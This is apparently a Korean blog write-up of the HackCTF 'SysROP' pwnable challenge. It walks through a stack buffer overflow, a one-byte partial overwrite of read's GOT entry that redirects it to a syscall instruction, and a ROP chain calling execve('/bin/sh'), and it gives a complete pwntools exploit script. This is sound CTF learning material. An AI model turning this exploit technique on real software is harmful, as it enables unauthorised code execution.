[ Pwnable ] SysROP write-up 본문

Pwnable/HackCTF write-up

[ Pwnable ] SysROP write-up

disso1p1 2020. 11. 5. 23:47

 

 

 

[ 메모리 보호기법 ]

checksec sysrop

 

main 함수 코드이다.

buf의 위치는 rbp-0x10 인데, read 함수로 최대 0x78 bytes 만큼 받을 수 있으므로 BOF가 발생한다.

 

단순 ROP 문제라고 생각할 수 있겠지만, 출력함수가 없어 leak 을 바로 할 수 없기 때문에 까다롭다.

 

이번 할로윈 때 열린 DreamHackCTF #2 에 validator_revenge 라는 문제가 있었는데, 그 문제도 출력함수가 없어 Stack Pivoting 으로 풀었던 기억이 있었기 때문에 바로 가젯을 찾아보았다.

 

근데 딱히 사용할 수 있는 가젯이 없어 삽질을 하다가 라업 윗부분만 보고 힌트를 얻었다.

 

 

syscall 을 이용해 풀 수 있는데, 처음 풀어보는 방법이라 기억에 많이 남을 것 같다.

 

 

 

 

read 함수를 따라가면 syscall 이 있다.

그럼 인자를 맞춰주고, 이걸로 evecve 함수를 실행시켜 쉘을 따면 되겠다.

 

evecve("/bin/sh", 0, 0);

 

을 실행시키는 게 목적이다.

 

 

근데 저 syscall 을 어떻게 이용하고, 언제 인자값을 바꿀 것인가.

 

 

partial relro 이므로 우리는 read@got 를 덮을 수 있다.

 

 

 

근데 뭘 덮을까 ?

 

libc_base 는 하위 1.5 bytes 가 000 이므로 프로그램이 다시 실행되어도 하위 1.5 bytes 는 변하지 않는다. ( libc 파일이 같으면 )

read 함수도 같은 코드일 것이고, 그럼 syscall 명령어 부분의 위치도 일정할 것이다.

그리고 read 함수의 실제 주소와 syscall 은 인접해있기 때문에 하위 1 ~ 1.5 bytes 만 다르고, 나머지 상위 bytes 는 다 같을 것이다.

즉, 1 bytes 만 syscall 이 위치한 '\x5e' 로 바꿔주면 된다.

 

 

[ exploit ]

from pwn import *

context.log_level = 'debug'

p = remote('ctf.j0n9hyun.xyz', '3024')
#p = process('./sysrop', env={"LD_PRELOAD":"./libc.so.6"})
e = ELF('./sysrop')

main = 0x4005f2
pr = 0x00000000004005ea # pop rax ; pop rdx ; pop rdi ; pop rsi ; ret

pay = ''
pay += 'A'*0x18
pay += p64(pr+1) + p64(8) + p64(0) + p64(e.bss()+0x400)
pay += p64(e.plt['read'])
pay += p64(main)
p.sendline(pay)

sleep(0.1)
p.send('/bin/sh\x00')

pay = ''
pay += 'A'*0x18
pay += p64(pr+1) + p64(1) + p64(0) + p64(e.got['read'])
pay += p64(e.plt['read'])
pay += p64(pr) + p64(59) + p64(0) + p64(e.bss()+0x400) + p64(0)
pay += p64(e.plt['read'])

pause()
p.sendline(pay)

sleep(0.1)
p.send('\x5e')

p.interactive()

 

syscall 로 puts 함수를 실행시켜 leak 을 할 수도 있지만, 귀찮아서 그냥 bss 에 '/bin/sh\00' 을 박았다.

그리고 한턴으로 payload 를 끝낼 수 있는데, 최대 넣을 수 있는 bytes 가 0x78 이라 다 못 넣어 한턴 끊었다.

 

그 다음에 read 함수의 실제주소를 syscall 쪽으로 덮고, rax 에 execve 함수의 system call number 인 59 를 넣어주고 쉘을 땄다.

 

sleep 은 다시 read 함수를 호출해서 넣을 문자열이 앞에 미리 들어가서 그것을 방지하기 위해 넣어주었다.

'Pwnable > HackCTF write-up' 카테고리의 다른 글

[ Pwnable ] Unexploitable #3 write-up  (0) 2020.11.06
[ Pwnable ] Unexploitable #2 write-up  (0) 2020.11.06
[ Pwnable ] Unexploitable #1 write-up  (0) 2020.11.06
Comments